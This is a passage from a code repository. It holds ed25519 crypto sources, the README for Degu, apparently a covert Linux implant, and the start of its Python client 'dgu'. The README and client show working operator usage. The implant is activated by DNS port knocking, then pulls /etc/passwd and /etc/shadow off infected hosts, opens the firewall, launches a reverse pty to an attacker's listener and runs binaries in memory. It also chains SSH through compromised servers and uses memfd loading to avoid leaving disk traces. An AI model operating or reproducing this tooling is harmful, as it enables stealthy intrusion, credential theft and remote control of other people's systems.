208 | } 209 | return 0; 210 | } 211 | 212 | /** 213 | Terminate the hash to get the digest 214 | @param md The hash state 215 | @param out [out] The destination of the hash (64 bytes) 216 | @return 0 if successful 217 | */ 218 | int sha512_final(sha512_context * md, unsigned char *out) 219 | { 220 | int i; 221 | 222 | if (md == NULL) return 1; 223 | if (out == NULL) return 1; 224 | 225 | if (md->curlen >= sizeof(md->buf)) { 226 | return 1; 227 | } 228 | 229 | /* increase the length of the message */ 230 | md->length += md->curlen * UINT64_C(8); 231 | 232 | /* append the '1' bit */ 233 | md->buf[md->curlen++] = (unsigned char)0x80; 234 | 235 | /* if the length is currently above 112 bytes we append zeros 236 | * then compress. Then we can fall back to padding zeros and length 237 | * encoding like normal. 238 | */ 239 | if (md->curlen > 112) { 240 | while (md->curlen < 128) { 241 | md->buf[md->curlen++] = (unsigned char)0; 242 | } 243 | sha512_compress(md, md->buf); 244 | md->curlen = 0; 245 | } 246 | 247 | /* pad upto 120 bytes of zeroes 248 | * note: that from 112 to 120 is the 64 MSB of the length. We assume that you won't hash 249 | * > 2^64 bits of data... :-) 250 | */ 251 | while (md->curlen < 120) { 252 | md->buf[md->curlen++] = (unsigned char)0; 253 | } 254 | 255 | /* store length */ 256 | STORE64H(md->length, md->buf+120); 257 | sha512_compress(md, md->buf); 258 | 259 | /* copy output */ 260 | for (i = 0; i < 8; i++) { 261 | STORE64H(md->state[i], out+(8*i)); 262 | } 263 | 264 | return 0; 265 | } 266 | 267 | int sha512(const unsigned char *message, size_t message_len, unsigned char *out) 268 | { 269 | sha512_context ctx; 270 | int ret; 271 | if ((ret = sha512_init(&ctx))) return ret; 272 | if ((ret = sha512_update(&ctx, message, message_len))) return ret; 273 | if ((ret = sha512_final(&ctx, out))) return ret; 274 | return 0; 275 | } 276 | -------------------------------------------------------------------------------- /crypto/sha512.h: -------------------------------------------------------------------------------- 1 | #ifndef SHA512_H 2 | #define SHA512_H 3 | 4 | #include 5 | 6 | #include "fixedint.h" 7 | 8 | /* state */ 9 | typedef struct sha512_context_ { 10 | uint64_t length, state[8]; 11 | size_t curlen; 12 | unsigned char buf[128]; 13 | } sha512_context; 14 | 15 | 16 | int sha512_init(sha512_context * md); 17 | int sha512_final(sha512_context * md, unsigned char *out); 18 | int sha512_update(sha512_context * md, const unsigned char *in, size_t inlen); 19 | int sha512(const unsigned char *message, size_t message_len, unsigned char *out); 20 | 21 | #endif 22 | -------------------------------------------------------------------------------- /crypto/sign.c: -------------------------------------------------------------------------------- 1 | #include "ed25519.h" 2 | #include "sha512.h" 3 | #include "ge.h" 4 | #include "sc.h" 5 | #include 6 | 7 | void ed25519_sign(unsigned char* signature, const unsigned char* message, size_t message_len, const unsigned char* public_key, const unsigned char* private_key) 8 | { 9 | sha512_context hash; 10 | unsigned char hram[64]; 11 | unsigned char r[64]; 12 | ge_p3 R; 13 | 14 | sha512_init(&hash); 15 | sha512_update(&hash, private_key + 32, 32); 16 | sha512_update(&hash, message, message_len); 17 | sha512_final(&hash, r); 18 | 19 | sc_reduce(r); 20 | ge_scalarmult_base(&R, r); 21 | ge_p3_tobytes(signature, &R); 22 | 23 | sha512_init(&hash); 24 | sha512_update(&hash, signature, 32); 25 | sha512_update(&hash, public_key, 32); 26 | sha512_update(&hash, message, message_len); 27 | sha512_final(&hash, hram); 28 | 29 | sc_reduce(hram); 30 | sc_muladd(signature + 32, hram, private_key, r); 31 | } 32 | 33 | void ed25519_sign_ref10(unsigned char* signature, const unsigned char* message, size_t message_len, const unsigned char* private_key_ref10) 34 | { 35 | sha512_context hash; 36 | unsigned char hram[64]; 37 | unsigned char nonce[64]; 38 | unsigned char a[64]; 39 | ge_p3 R; 40 | 41 | sha512(private_key_ref10, 32, a); 42 | a[0] &= 248; 43 | a[31] &= 63; 44 | a[31] |= 64; 45 | 46 | sha512_init(&hash); 47 | sha512_update(&hash, a + 32, 32); 48 | sha512_update(&hash, message, message_len); 49 | sha512_final(&hash, nonce); 50 | 51 | memmove(signature + 32, private_key_ref10 + 32, 32); 52 | 53 | sc_reduce(nonce); 54 | ge_scalarmult_base(&R, nonce); 55 | ge_p3_tobytes(signature, &R); 56 | 57 | sha512_init(&hash); 58 | sha512_update(&hash, signature, 64); 59 | sha512_update(&hash, message, message_len); 60 | sha512_final(&hash, hram); 61 | 62 | sc_reduce(hram); 63 | sc_muladd(signature + 32, hram, a, nonce); 64 | 65 | memset(a, 0x00, sizeof(a)); 66 | memset(nonce, 0x00, sizeof(nonce)); 67 | } -------------------------------------------------------------------------------- /crypto/verify.c: -------------------------------------------------------------------------------- 1 | #include "ed25519.h" 2 | #include "sha512.h" 3 | #include "ge.h" 4 | #include "sc.h" 5 | 6 | static int consttime_equal(const unsigned char* x, const unsigned char* y) 7 | { 8 | unsigned char r = 0; 9 | 10 | r = x[0] ^ y[0]; 11 | #define F(i) r |= x[i] ^ y[i] 12 | F(1); 13 | F(2); 14 | F(3); 15 | F(4); 16 | F(5); 17 | F(6); 18 | F(7); 19 | F(8); 20 | F(9); 21 | F(10); 22 | F(11); 23 | F(12); 24 | F(13); 25 | F(14); 26 | F(15); 27 | F(16); 28 | F(17); 29 | F(18); 30 | F(19); 31 | F(20); 32 | F(21); 33 | F(22); 34 | F(23); 35 | F(24); 36 | F(25); 37 | F(26); 38 | F(27); 39 | F(28); 40 | F(29); 41 | F(30); 42 | F(31); 43 | #undef F 44 | 45 | return !r; 46 | } 47 | 48 | int ed25519_verify(const unsigned char* signature, const unsigned char* message, size_t message_len, const unsigned char* public_key) 49 | { 50 | unsigned char h[64]; 51 | unsigned char checker[32]; 52 | sha512_context hash; 53 | ge_p3 A; 54 | ge_p2 R; 55 | const int r1 = (signature[63] & 224); 56 | const int r2 = ge_frombytes_negate_vartime(&A, public_key); 57 | 58 | sha512_init(&hash); 59 | sha512_update(&hash, signature, 32); 60 | sha512_update(&hash, public_key, 32); 61 | sha512_update(&hash, message, message_len); 62 | sha512_final(&hash, h); 63 | 64 | sc_reduce(h); 65 | ge_double_scalarmult_vartime(&R, h, &A, signature + 32); 66 | ge_tobytes(checker, &R); 67 | 68 | return r1 == 0 && r2 == 0 && consttime_equal(checker, signature); 69 | } -------------------------------------------------------------------------------- /degu-client/README.md: -------------------------------------------------------------------------------- 1 | # Degu Documentation 2 | 3 | ## Table of Contents 4 | 5 | - [Degu Documentation](#degu-documentation) 6 | - [Table of Contents](#table-of-contents) 7 | - [Detailed Architecture](#detailed-architecture) 8 | - [Helpers](#helpers) 9 | - [key management](#key-management) 10 | - [Implant (Server Side)](#implant-server-side) 11 | - [Client Library (degu.py)](#client-library-degupy) 12 | - [Communication Protocol](#communication-protocol) 13 | - [Connection Establishment](#connection-establishment) 14 | - [Message Formats](#message-formats) 15 | - [Security and Encryption](#security-and-encryption) 16 | - [Encryption Mechanisms](#encryption-mechanisms) 17 | - [Python API Reference](#python-api-reference) 18 | - [Initialization](#initialization) 19 | - [Basic Communication](#basic-communication) 20 | - [File Operations](#file-operations) 21 | - [Memory Execution](#memory-execution) 22 | - [Advanced Usage - Helpers](#advanced-usage---helpers) 23 | - [Encryption and Data Manipulation](#encryption-and-data-manipulation) 24 | - [Static Utilities](#static-utilities) 25 | - [Obfuscation Techniques](#obfuscation-techniques) 26 | - [Library Loading](#library-loading) 27 | - [Complete Usage Examples](#complete-usage-examples) 28 | - [Connecting to an Implant and Executing Commands](#connecting-to-an-implant-and-executing-commands) 29 | - [Using Helpers for Persistent Connections](#using-helpers-for-persistent-connections) 30 | - [Known Limitations](#known-limitations) 31 | 32 | ## Detailed Architecture 33 | 34 | ## Helpers 35 | 36 | Helpers are the most efficient way to use and chain multiple Degu instances together. 37 | A default helper `degussh` is provided, allowing the use of SSH to pivot and chain servers together. 38 | 39 | After compiling Degu in the /tmp/degu/client/ directory, these components will be available to facilitate secure remote operations and server pivoting : 40 | 41 | | File | Description | 42 | |------|-------------| 43 | | `degussh` | Binary executable that will be loaded and executed in memory on the target system | 44 | | `degussh.py` | Python tool used as SSH ProxyCommand to establish connections through Degu implants | 45 | | `keydegussh` | SSH private key used for authentication when connecting to bounce servers | 46 | 47 | 48 | 49 | The provided Python script reimplements commands to natively use the SSH ControlPath Unix socket. 50 | 51 | This enables efficient server chaining through Degu implants, as shown in the example below: 52 | 53 | 54 | ```bash 55 | /tmp/degu/client $ ssh -oProxyCommand="./degussh.py -i 172.17.0.2 " -i keydegussh -fNM -S ./dock . 56 | [+] knock to 172.17.0.2:53 bind to :29879 57 | [+] DIRECT->172.17.0.2 |░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░| 100% 58 | /tmp/degu/client $ ssh -oProxyCommand="./degussh.py -i 172.17.0.3 -u ./dock " -i keydegussh -fNM -S ./dock2 . 59 | [+] knock to 172.17.0.3:53 using ./dock bind to :2080 60 | [+] ./dock->172.17.0.3 |░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░| 100% 61 | /tmp/degu/client $ ssh -oProxyCommand="./degussh.py -i 172.17.0.4 -u ./dock2 -p 12345 " -i keydegussh -fNM -S ./dock3 . 62 | [+] knock to 172.17.0.4:12345 using ./dock2 bind to :43102 63 | [+] ./dock2->172.17.0.4 |░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░| 100% 64 | 65 | ``` 66 | 67 | This creates the following TCP connection chain: 68 | 69 | `attacker -> 172.17.0.2:29879 -> 172.17.0.3:2080 -> 172.17.0.4:43102` 70 | 71 | By leveraging SSH's ControlPath functionality, the script enables seamless pivoting through multiple compromised servers while maintaining secure communication. 72 | 73 | 74 | ## key management 75 | 76 | To build degu first you need to generate new ED25519 key pair. 77 | You can use `./config` utility or the `keygen()` in degu.py library. 78 | 79 |

keys generation

80 | 81 | `./config` generate all secrets for a future degu release in `keys.h`: 82 | 83 | - IV and KNOCK_KEY are used to trigger initial communication with degu and for data ciphering after key exchange. 84 | - MASTER_PUBKEY is the public part of ed25519 key it is used by degu to verify signature and make secret exchange with client for encryption 85 | - PRIVATE_KEY is used by client part, you need to pass it in constructor of degu python object 86 | 87 | 88 | ```python 89 | >>> import degu 90 | >>> myheaderfile = degu.degu.keygen() 91 | >>> print(myheaderfile) 92 | #define IV { 0x03,0x7b,0xb6,0x59,0x62,0xf0,0xf5,0x56,0xa6,0x68,0xfc,0xa1,0x97,0xb8,0xbd,0x85} 93 | #define KNOCK_KEY { 0xc9,0xd5,0x52,0x70,0xd1,0x28,0xae,0xcd,0x96,0xda,0xa6,0x5c,0x57,0xf4,0x27,0x92,0xb7,0x65,0x3f,0xd3,0xc5,0x60,0x68,0x05,0x1f,0x71,0xed,0x8d,0xa9,0x3e,0x38,0x58} 94 | #define MASTER_PUBKEY { 0x58,0xe4,0x37,0x0f,0x17,0x5f,0x3f,0xd7,0x07,0x3d,0xd0,0x77,0xbe,0x86,0x9a,0x60,0x34,0x80,0xff,0xae,0xcc,0xf2,0xa1,0x1d,0x60,0xff,0x76,0x44,0xfc,0x26,0x9d,0x06} 95 | 96 | // PRIVATE_KEY="f04860177b7bcb3a4b9aaaa052fbd9218d6f0117bb0c9c7a02905809d1a0747ccc5b728445811ed1222ed1e024042c37b2164b494bb77f867d54b63f29cb62e1" 97 | 98 | ``` 99 | you can also directly call the C function keygen in degu.so library with a filename to generate as parameter (you can discard secret1 and secret2 variables that are tests on ECDH) 100 | 101 | ```python 102 | >>> import ctypes 103 | >>> mydegu = ctypes.CDLL("../degu.so") 104 | >>> mydegu.keygen(b"/tmp/out") 105 | 0 106 | >>> 107 | [1]+ Stopped python 108 | $ cat /tmp/out 109 | pub="63181b1acc84276954cd80be5afb0c95de7b1b7c9fb3c4e3b8e364a85f890116" 110 | priv="5837122bd526a2e5d64ef89aca78d80ac4e0b4ef4d1d76a6ddb18bdd17856a6911602bdebf237a361ab796518038d5aef88b0aebdc3c1523407f0ab62e457420" 111 | iv="4e6e4e04de107ae5790c5bfe61ce52e5" 112 | knock="79abc02eeb0bcf41c1a1e6f8491eb0b3cedce7786338cc88955f4cf76fa79f52" 113 | ``` 114 | 115 | `dgu` client script generate keys too 116 | 117 | ```bash 118 | $ ./dgu keygen 119 | #define IV { 0x3c,0x65,0x64,0x22,0x64,0x11,0x6f,0xc8,0x68,0xfd,0xa9,0x52,0xc6,0x7b,0x15,0xd1} 120 | #define KNOCK_KEY { 0xf9,0x7e,0x46,0x46,0xaa,0xd9,0xaa,0x96,0xfb,0xba,0x81,0x70,0x51,0xc3,0x98,0x1e,0x74,0xd5,0x7c,0x28,0x09,0x7f,0xbd,0x52,0xd4,0xdf,0x32,0x90,0xfe,0x94,0xa9,0x36} 121 | #define MASTER_PUBKEY { 0x60,0x88,0xdd,0xfc,0xee,0x3c,0x21,0xf5,0xb6,0x69,0x13,0xa9,0xf8,0xa7,0xc9,0xb9,0x50,0x25,0x14,0xfe,0x18,0x44,0x5d,0xea,0xad,0x25,0x55,0x08,0x60,0x60,0x89,0xa0} 122 | 123 | // PRIVATE_KEY="c8ecf68f5fad5fc8b9232548ff38bdbb81aa13d3d6cab322aaf2037802d3554b87755b4056bd4b5f4bc9219cc1615bc59afe2e69fbbd6cf633d8f9f74674579e" 124 | 125 | ``` 126 | The output needs to be piped into **keys.h** file at root of degu project 127 | 128 |

keys recovery

129 | 130 | If you lost the knock and public key you can still recover it by calling python function `getpub()` 131 | 132 | ```python 133 | >>> import degu 134 | >>> degu.degu.getpub() 135 | #define IV { 0x3c,0x65,0x64,0x22,0x64,0x11,0x6f,0xc8,0x68,0xfd,0xa9,0x52,0xc6,0x7b,0x15,0xd1} 136 | #define KNOCK_KEY { 0xf9,0x7e,0x46,0x46,0xaa,0xd9,0xaa,0x96,0xfb,0xba,0x81,0x70,0x51,0xc3,0x98,0x1e,0x74,0xd5,0x7c,0x28,0x09,0x7f,0xbd,0x52,0xd4,0xdf,0x32,0x90,0xfe,0x94,0xa9,0x36} 137 | #define MASTER_PUBKEY { 0x60,0x88,0xdd,0xfc,0xee,0x3c,0x21,0xf5,0xb6,0x69,0x13,0xa9,0xf8,0xa7,0xc9,0xb9,0x50,0x25,0x14,0xfe,0x18,0x44,0x5d,0xea,0xad,0x25,0x55,0x08,0x60,0x60,0x89,0xa0} 138 | ``` 139 | By calling directly degu.so function `xpub()`, it outputs the file on stdout 140 | ```python 141 | >>> import ctypes 142 | >>> d = ctypes.CDLL("../degu.so") 143 | >>> d.xpub() 144 | #define IV {0x3c,0x65,0x64,0x22,0x64,0x11,0x6f,0xc8,0x68,0xfd,0xa9,0x52,0xc6,0x7b,0x15,0xd1} 145 | #define KNOCK_KEY {0xf9,0x7e,0x46,0x46,0xaa,0xd9,0xaa,0x96,0xfb,0xba,0x81,0x70,0x51,0xc3,0x98,0x1e,0x74,0xd5,0x7c,0x28,0x09,0x7f,0xbd,0x52,0xd4,0xdf,0x32,0x90,0xfe,0x94,0xa9,0x36} 146 | #define MASTER_PUBKEY {0x60,0x88,0xdd,0xfc,0xee,0x3c,0x21,0xf5,0xb6,0x69,0x13,0xa9,0xf8,0xa7,0xc9,0xb9,0x50,0x25,0x14,0xfe,0x18,0x44,0x5d,0xea,0xad,0x25,0x55,0x08,0x60,0x60,0x89,0xa0} 147 | 6 148 | >>> 149 | ``` 150 | 151 | Or you can just use the client script to recover pub keys 152 | 153 | ```bash 154 | $ ./dgu getpub 155 | #define IV { 0x3c,0x65,0x64,0x22,0x64,0x11,0x6f,0xc8,0x68,0xfd,0xa9,0x52,0xc6,0x7b,0x15,0xd1} 156 | #define KNOCK_KEY { 0xf9,0x7e,0x46,0x46,0xaa,0xd9,0xaa,0x96,0xfb,0xba,0x81,0x70,0x51,0xc3,0x98,0x1e,0x74,0xd5,0x7c,0x28,0x09,0x7f,0xbd,0x52,0xd4,0xdf,0x32,0x90,0xfe,0x94,0xa9,0x36} 157 | #define MASTER_PUBKEY { 0x60,0x88,0xdd,0xfc,0xee,0x3c,0x21,0xf5,0xb6,0x69,0x13,0xa9,0xf8,0xa7,0xc9,0xb9,0x50,0x25,0x14,0xfe,0x18,0x44,0x5d,0xea,0xad,0x25,0x55,0x08,0x60,0x60,0x89,0xa0} 158 | ``` 159 | 160 | ### Implant (Server Side) 161 | 162 | The Degu implant can operate in two different modes: 163 | 1. **Passive Mode**: Monitors DNS traffic to detect commands 164 | 2. **Active Mode**: Listens on a specific UDP port to receive instructions 165 | 166 | The implant activates after receiving a special "knock" message that triggers either: 167 | - Opening a TCP port to accept incoming connections (bind mode) 168 | - Establishing an outgoing TCP connection to a specified host and port (connect-back mode) 169 | 170 | ### Client Library (degu.py) 171 | 172 | The client library provides a Python interface for interacting with the remote implant. It handles: 173 | - Generation and management of cryptographic keys 174 | - Creation and encryption of messages 175 | - Sending commands to the implant 176 | - Receiving and processing responses 177 | 178 | ## Communication Protocol 179 | 180 | ### Connection Establishment 181 | 182 | 1. The client sends an encrypted UDP "knock" to the implant (on port 53 by default or a configurable port) 183 | 2. The implant validates the message and activates (in bind or connect-back mode) 184 | 3. A TCP connection is established for data exchange 185 | 4. Session keys are exchanged to secure the communication 186 | 187 | ### Message Formats 188 | 189 | The exchanged messages follow specific formats depending on the operation type: 190 | 191 | | Operation Code | Byte Value | Description | 192 | |----------------|------------|-------------| 193 | | DEGU_EXE_UL | ">" | File upload to the implant | 197 | 198 | ## Security and Encryption 199 | 200 | ### Encryption Mechanisms 201 | 202 | Degu uses multiple security layers: 203 | 1. **AES Encryption** for communications (with custom IV) 204 | 2. **ED25519 Signatures** to authenticate commands 205 | 3. **ECDH Key Exchange** to establish secure session keys 206 | 207 | 208 | ## Python API Reference 209 | 210 | ### Initialization 211 | ```python 212 | def __init__(self, host: str, priv: str=PRIV, kport: int=53) -> None 213 | ``` 214 | - **host**: IP address or hostname of the implant 215 | - **priv**: Private key (hexadecimal format) 216 | - **kport**: UDP port for the knock (53 by default for root implants) 217 | 218 | ### Basic Communication 219 | ```python 220 | def knock(self, data: str) -> bool 221 | ``` 222 | Sends a knock signal to the implant to activate a connection. 223 | - **data**: Format "ip:port" for connect-back or ":port" for bind 224 | - **Returns**: True if the knock was sent, False otherwise 225 | 226 | ```python 227 | def ghost_exec(self, mycmd: str) -> None 228 | ``` 229 | Executes a system command on the implant without waiting for a response. 230 | - **mycmd**: Shell command to execute (limit of 1300 characters) 231 | 232 | ### File Operations 233 | ```python 234 | def download(self, path: str) -> bytes 235 | ``` 236 | Downloads a file from the implant in bind mode. 237 | - **path**: File path on the implant 238 | - **Returns**: File content or None in case of error 239 | 240 | ```python 241 | def rdownload(self, path: str, lport: int, timeout: int=5) -> bytes 242 | ``` 243 | Downloads a file from the implant in connect-back mode. 244 | - **path**: File path on the implant 245 | - **lport**: Local listening port 246 | - **timeout**: Timeout in seconds 247 | - **Returns**: File content or None in case of error 248 | 249 | ```python 250 | def upload(self, file: str, path: str) -> int 251 | ``` 252 | Uploads a file to the implant in bind mode. 253 | - **file**: Path of the local file to send 254 | - **path**: Destination path on the implant 255 | - **Returns**: Size of sent data or None in case of error 256 | 257 | ```python 258 | def rupload(self, file: str, path: str, lport: int, timeout: int=5) -> int 259 | ``` 260 | Uploads a file to the implant in connect-back mode. 261 | - **file**: Path of the local file to send 262 | - **path**: Destination path on the implant 263 | - **lport**: Local listening port 264 | - **timeout**: Timeout in seconds 265 | - **Returns**: Size of sent data or None in case of error 266 | 267 | ### Memory Execution 268 | ```python 269 | def mem_exec(self, bin: str, param: str, memfd: bool=False) -> None 270 | ``` 271 | Executes a binary in memory on the implant in bind mode. 272 | - **bin**: Path of the local binary to execute 273 | - **param**: Arguments for the binary (including the program name in args[0]) 274 | - **memfd**: Uses memfd instead of ulexec if True 275 | 276 | ```python 277 | def rmem_exec(self, bin: str, param: str, lport: int, timeout: int=5, memfd: bool=False) -> None 278 | ``` 279 | Executes a binary in memory on the implant in connect-back mode. 280 | - **bin**: Path of the local binary to execute 281 | - **param**: Arguments for the binary (including the program name in args[0]) 282 | - **lport**: Local listening port 283 | - **timeout**: Timeout in seconds 284 | - **memfd**: Uses memfd instead of ulexec if True 285 | 286 | ### Advanced Usage - Helpers 287 | ```python 288 | def helper(self, bin: str, param: str, memfd: bool=False) -> socket.socket 289 | ``` 290 | Executes a binary in memory and returns the socket for reuse (bind mode). 291 | - **bin**: Path of the helper binary to use 292 | - **param**: Arguments for the binary 293 | - **memfd**: Uses memfd instead of ulexec if True 294 | - **Returns**: Open socket for communication with the remote process 295 | 296 | ```python 297 | def rhelper(self, bin: str, param: str, lport: int, timeout: int=5, memfd: bool=False) -> socket.socket 298 | ``` 299 | Executes a binary in memory and returns the socket for reuse (connect-back mode). 300 | - **bin**: Path of the helper binary to use 301 | - **param**: Arguments for the binary 302 | - **lport**: Local listening port 303 | - **timeout**: Timeout in seconds 304 | - **memfd**: Uses memfd instead of ulexec if True 305 | - **Returns**: Open socket for communication with the remote process 306 | 307 | ### Encryption and Data Manipulation 308 | ```python 309 | def xbuf(self, data: bytes) -> bytes 310 | ``` 311 | Encrypts/decrypts data with the session context. 312 | - **data**: Data to encrypt/decrypt 313 | - **Returns**: Encrypted/decrypted data 314 | 315 | ```python 316 | def xcrypt_knock(self, data: bytes) -> bytes 317 | ``` 318 | Encrypts/decrypts a knock message with the knock key. 319 | - **data**: Knock data to encrypt/decrypt 320 | - **Returns**: Encrypted/decrypted data 321 | 322 | ```python 323 | def sign_msg(self, data: bytes) -> bytes 324 | ``` 325 | Signs data with the private key. 326 | - **data**: Data to sign 327 | - **Returns**: Signature (64 bytes) 328 | 329 | ### Static Utilities 330 | ```python 331 | @staticmethod 332 | def keygen() -> str 333 | ``` 334 | Generates a new ED25519 key pair and associated values. 335 | - **Returns**: Formatted content for insertion into keys.h 336 | 337 | ```python 338 | @staticmethod 339 | def getpub() -> None 340 | ``` 341 | Displays Degu internal information (public keys and IV). 342 | 343 | ## Obfuscation Techniques 344 | 345 | ### Library Loading 346 | The degu.so library is embedded as base64-encoded and compressed data in the Python code. 347 | 348 | It is extracted and loaded into memory at runtime via `memfd_create` or a temporary file, which avoids leaving traces on disk. 349 | 350 | ## Complete Usage Examples 351 | 352 | ### Connecting to an Implant and Executing Commands 353 | ```python 354 | import degu 355 | import time 356 | 357 | # Initialize connection 358 | d = degu.degu("192.168.0.10") 359 | 360 | # Execute command without response 361 | d.ghost_exec("iptables -P INPUT ACCEPT") 362 | 363 | # Open a port on the implant 364 | d.knock(":4444") 365 | time.sleep(2) # Wait for activation 366 | 367 | # Download a file 368 | content = d.download("/etc/passwd") 369 | print(content) 370 | 371 | # Upload a file 372 | d.upload("/local/path/file.txt", "/remote/path/file.txt") 373 | 374 | # Execute a binary in memory 375 | d.mem_exec("./my_binary", "my_binary arg1 arg2") 376 | 377 | # Connect-back - Listen on local port 5555 378 | d.knock("192.168.0.20:5555") # Client IP and port 379 | time.sleep(2) 380 | result = d.rdownload("/etc/shadow", 5555) 381 | ``` 382 | 383 | ### Using Helpers for Persistent Connections 384 | ```python 385 | # Execute a shell via a helper 386 | socket = d.helper("./helper_shell", "shell") 387 | 388 | # Interactive communication with the shell 389 | socket.send(b"ls -la\n") 390 | response = socket.recv(4096) 391 | print(response) 392 | 393 | # Close the connection 394 | socket.close() 395 | ``` 396 | 397 | ## Known Limitations 398 | 399 | 1. Maximum size of ghost_exec commands is limited to 1300 characters 400 | 2. Operations are sensitive to network issues (configurable timeouts) 401 | 3. Userland execution of binaries requires the binary to be statically linked 402 | 4. It does not maintain persistence after system reboot -------------------------------------------------------------------------------- /degu-client/dgu: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import sys 3 | import docopt 4 | import logging 5 | import time 6 | from multiprocessing.pool import ThreadPool 7 | import degu 8 | 9 | PRIVATE_KEY=degu.PRIV 10 | 11 | __doc__=""" 12 | 13 | Usage: 14 | dgu bind read 15 | dgu bind download 16 | dgu bind upload 17 | dgu bind exe 18 | dgu cb read 19 | dgu cb download 20 | dgu cb upload 21 | dgu cb exe 22 | dgu ghost 23 | dgu keygen 24 | dgu getpub 25 | 26 | Examples: 27 | 28 | Upload local /tmp/dd file to remote /tmp/upped on degu infected 29 | host 192.168.0.49, asking him to open 12345 for bind connect : 30 | 31 | $ dgu bind 192.168.0.49 12345 upload /tmp/dd /tmp/upped 32 | [ INFO 14:11.57][degu ]: trying remote bind on 192.168.0.49:12345 33 | [ INFO 14:11.59][degu ]: uploaded /tmp/dd on 192.168.0.49:12345:/tmp/upped 34 | 35 | Read remote /etc/passwd file, asking degu to wait on port 9991 for connection : 36 | 37 | $ dgu bind 192.168.0.49 9991 read /etc/passwd 38 | [ INFO 14:11.15][degu ]: trying remote bind on 192.168.0.49:9991 39 | [ INFO 14:11.17][degu ]: downloading b'/etc/passwd' 40 | root:x:0:0:root:/root:/bin/bash 41 | daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 42 | ... 43 | 44 | Execute reverse pty on lhost 192.168.0.15:11111 using cb ( don't forget arg0 !) 45 | on attacker console : 46 | 47 | $ dgu bind 192.168.0.49 12311 exe helpers/cb "MYPROC 192.168.0.15 11111" 48 | [ INFO 14:51.00][degu ]: trying remote bind on 192.168.0.49:12311 49 | [ INFO 14:51.03][degu ]: send bin ok 50 | [ INFO 14:51.03][degu ]: launch exe helpers/cb on 192.168.0.49 51 | 52 | Execute over unfiltered dns 53 | 54 | $ dgu ghost 192.168.0.49 "touch /tmp/pwneeee" 55 | [ INFO 18:58.45][degu ]: ghost executing b'touch /tmp/pwneeee' 56 | [ DEBUG 18:58.45][degu ]: executing : b'touch /tmp/pwneeee' 57 | 58 | Generate new keys.h 59 | 60 | $ ./dgu keygen 61 | #define IV { 0x78,0xc5,0x49,0x18,0xa5,0x6f,0x92,0x6a,0x62,0x21,0x47,0x5b,0xf0,0x55,0xa8,0xf0} 62 | #define KNOCK_KEY { 0x21,0x5f,0xad,0x87,0xe6,0xc0,0x4e,0x3a,0x3e,0x2b,0x96,0x2b,0x2d,0xb9,0x85,0x09,0xbc,0xf9,0xf2,0xd4,0xaf,0xb0,0xee,0x6b,0x58,0xad,0x75,0xbe,0xd5,0x7a,0xd0,0x39} 63 | #define MASTER_PUBKEY { 0xc1,0xad,0x6c,0x7e,0xd6,0xe4,0x6c,0x86,0x69,0xfe,0xc2,0x34,0xa7,0x52,0xa0,0xac,0x63,0x01,0xeb,0xc3,0x83,0x70,0x08,0x56,0xbe,0x54,0x30,0x34,0x68,0x69,0xcf,0x54} 64 | 65 | // PRIVATE_KEY="2831ff7a13ed00ff1680dcf39dc8669777e269b00862d6160cc4e98ac695276e8c155b1f721e07e400a19b5999e351f0002263d103b3cffebf7feb8c72974897" 66 | 67 | Recover pub key from private key 68 | 69 | $ ./dgu getpub 2831ff7a13ed00ff1680dcf39dc8669777e269b00862d6160cc4e98ac695276e8c155b1f721e07e400a19b5999e351f0002263d103b3cffebf7feb8c72974897 70 | #define MASTER_PUBKEY {0xc1,0xad,0x6c,0x7e,0xd6,0xe4,0x6c,0x86,0x69,0xfe,0xc2,0x34,0xa7,0x52,0xa0,0xac,0x63,0x01,0xeb,0xc3,0x83,0x70,0x08,0x56,0xbe,0x54,0x30,0x34,0x68,0x69,0xcf,0x54}; 71 | // pub= c1ad6c7ed6e46c8669fec234a752a0ac6301ebc383700856be5430346869cf54 72 | 73 | """ 74 | 75 | 76 | class LogFmt(logging.Formatter): 77 | """ class for log formating """ 78 | 79 | def __init__(self): 80 | logging.Formatter.__init__(self) 81 | 82 | def format_time(self): 83 | """ format time """ 84 | return time.strftime("%H:%M.%S") 85 | 86 | def _l(self,level): 87 | clevel = {"DEBUG" : ("\033[0;36m","\033[1;36m"), 88 | "INFO" : ("\033[0;37m","\033[1;37m"), 89 | "WARNING" : ("\033[0;31m","\033[1;31m"), 90 | "CRITICAL" : ("\033[0;31m","\033[1;31m"), 91 | "ERROR" : ("\033[0;31m","\033[1;31m"), 92 | } 93 | return clevel[level] 94 | 95 | def format(self,record): 96 | header = self._l(record.levelname)[0] + "[" + self._l(record.levelname)[1] + "%8s"%record.levelname \ 97 | + self._l(record.levelname)[1] + " " + self.format_time() + "][%-5s]: " % record.name + "\033[0m" 98 | return header + "\033[0m" + record.msg 99 | 100 | LEVEL = logging.DEBUG 101 | log = logging.getLogger('degu') 102 | log.setLevel(LEVEL) 103 | ch = logging.StreamHandler() 104 | ch.setFormatter(LogFmt()) 105 | log.addHandler(ch) 106 | 107 | if __name__ == "__main__": 108 | args = docopt.docopt(__doc__) 109 | 110 | if args['read'] or args['download']: 111 | if args['bind']: 112 | d = degu.degu(args[''],priv = PRIVATE_KEY) 113 | if not d.knock( ':' + args['']): 114 | log.error("knock failed") 115 | sys.exit() 116 | time.sleep(2) # waiting for port to come up on degu 117 | fil = d.download(args['']) 118 | if not fil: 119 | log.error("no content downloaded") 120 | sys.exit() 121 | 122 | if args['read']: 123 | if fil: 124 | print(fil.decode("ascii")) 125 | else: 126 | try: 127 | f = open(args[''],"wb") 128 | f.write(fil) 129 | f.close() 130 | d.log.info("write %i bytes on %s "%(len(fil),args[''])) 131 | except Exception as e: 132 | d.log.error("unable to create %s : %s" % (args[''],e)) 133 | del d 134 | if args['cb']: 135 | d = degu.degu(args[''],priv = PRIVATE_KEY) 136 | pool = ThreadPool(processes=1) 137 | async_result = pool.apply_async(d.rdownload, (args[''],args[''])) 138 | 139 | if not d.knock( '%s:%s' % ( args[''] , args[''])): 140 | log.error("knock failed") 141 | sys.exit() 142 | 143 | fil = None 144 | try: 145 | fil = async_result.get() 146 | except TimeoutError as e: 147 | log.error(f"timeout reached : {e}") 148 | if fil : 149 | if args['read']: 150 | print(fil.decode("ascii")) 151 | else: 152 | try: 153 | f = open(args[''],"wb") 154 | 